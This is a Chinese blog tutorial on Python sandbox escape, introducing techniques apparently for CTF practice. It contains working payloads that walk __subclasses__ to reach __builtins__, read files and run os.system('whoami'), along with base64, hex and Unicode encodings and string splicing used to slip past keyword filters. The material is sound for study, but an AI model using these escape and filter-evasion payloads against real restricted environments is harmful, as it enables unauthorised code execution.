python沙盒逃逸(0)

基础知识&基本操作

基本魔术方法

print(''.__class__.__mro__)    #获取类继承链
print(''.__class__.__bases__)  #获取父类(python支持多继承),返回值是元组形式
print(''.__class__.__base__)   #获取基类[单个回显]
print(''.__class__.__subclasses__())  #获取该类的所有子类
#__dict__ 返回所有属性,包括属性,方法等
#__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化

获取子类

#打印Object类的所有子类
for i in range(0,200):
    try:
        thing=''.__class__.__bases__[0].__subclasses__()[i]
        print(i,' ',thing)
    except:
        Exception

获取全局函数

#寻找具有__globals__属性的类.
#只有被重载的类才有该属性。
#使用__init__初始化后,带有“wrapper”的说明没有被重载。
#Object本身没有被重载;从它的子类找。
for i in range(200):
    try:
        thing=str([].__class__.__base__.__subclasses__()[i].__init__)
        if 'wrapper' not in thing:
            print(i,' ',[].__class__.__base__.__subclasses__()[i])
    except:
        Exception

文件读取

#使用_frozen_importlib_external.FileLoader类进行文件读取
#这里我不太会查python文档之类的,只能用__dict__看这个类的所有属性,之后找看起来能用的试。
print([].__class__.__base__.__subclasses__()[100].__dict__)
#最后就找到了一个get_data,用法有个参数还没搞明白
print([].__class__.__base__.__subclasses__()[100].get_data('任意值','C:/Users/Dell/Downloads/app.py'))

寻找命令执行

#尝试寻找命令执行
#结果没找到eval方法,有几个类里有exec,但并没有exec方法(实际上是exec_method)。
for i in range(200):
    try:
        thing=str([].__class__.__base__.__subclasses__()[i].__dict__)
        if ('wrapper' not in thing)and(('eval' in thing)or('exec' in thing)):
            print(i,' ',[].__class__.__base__.__subclasses__()[i])
            print(i, ' ', [].__class__.__base__.__subclasses__()[i].__dict__)
    except:
        Exception
#转换思路;之前一直看的是python自带的类(Object及其子类)中的方法;
#现在,来看看内置函数。
#通过__init__.__globals__['__builtins__']查看初始化时即导入的内置函数。从哪个类进去都一样。
#这里面一般是有eval和exec的。
print([].__class__.__base__.__subclasses__()[135])
print([].__class__.__base__.__subclasses__()[135].__init__)
print([].__class__.__base__.__subclasses__()[135].__init__)
print([].__class__.__base__.__subclasses__()[40].__init__)
thing=str([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__'])
if ('eval' in thing)and('exec' in thing):
    print('exist')
#eval和exec在返回值上有一些区别,此处先忽略.
#只要知道他能将字符串当成代码执行就行了。
#使用__import__动态包含模块,然后调函数即可。
#结合之前的内容,就搞出了一种常见payload
print(eval('__import__("os").system("whoami")'))
print(exec('__import__("os").system("whoami")'))
print([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__']['exec']('__import__("os").system("whoami")'))

绕过姿势

以下绕过,均以

print([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__']['exec']('__import__("os").system("whoami")'))

为例进行修改。

编码绕过

payload中引号内的(即字符串类型的数据),在调用的时候都可以使用编码绕过。

函数绕过

测试的时候需要外部库base64,感觉不太好用。

#python生成base64信息的样例
import base64
print(base64.b64encode('__builtins__'.encode()))

#样例payload;感觉真的不好用。
().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__[base64.b64decode('X19idWlsdGluc19f'.encode()).decode()][base64.b64decode('ZXhlYw=='.encode()).decode()](base64.b64decode('X19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIp'.encode()).decode())

字节码绕过

python中的.encode()对于可见的ascii字符不会输出其字节码,所以还得自己写转化。

#纯字节码的转化样例
x='__import__("os").system("whoami")'
y=''
for i in range(len(x)):
    y+='\\x'+(hex(ord(x[i]))[2:])
print(y)

#样例payload
().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x22\x77\x68\x6f\x61\x6d\x69\x22\x29')

Unicode绕过

跟字节码绕过差不多,但挺新奇的。

生成时,将\\x改为\\u00即可。

举例:\x65\x76\x61\x6c 变为\u0065\u0076\u0061\u006c

python默认支持Unicode;基本已经不采用它的原因是一般情况下前两位都是00,太浪费空间了。

拼接类绕过

以过滤flag为例:

join函数拼接:("fla".join("/g"))

注释拼接:fl''ag fl""ag

其他绕过&组合绕过

https://xz.aliyun.com/t/11090#toc-10

自己看吧。

posted @ 2022-04-29 12:11  hiddener  阅读(96)  评论(0编辑  收藏  举报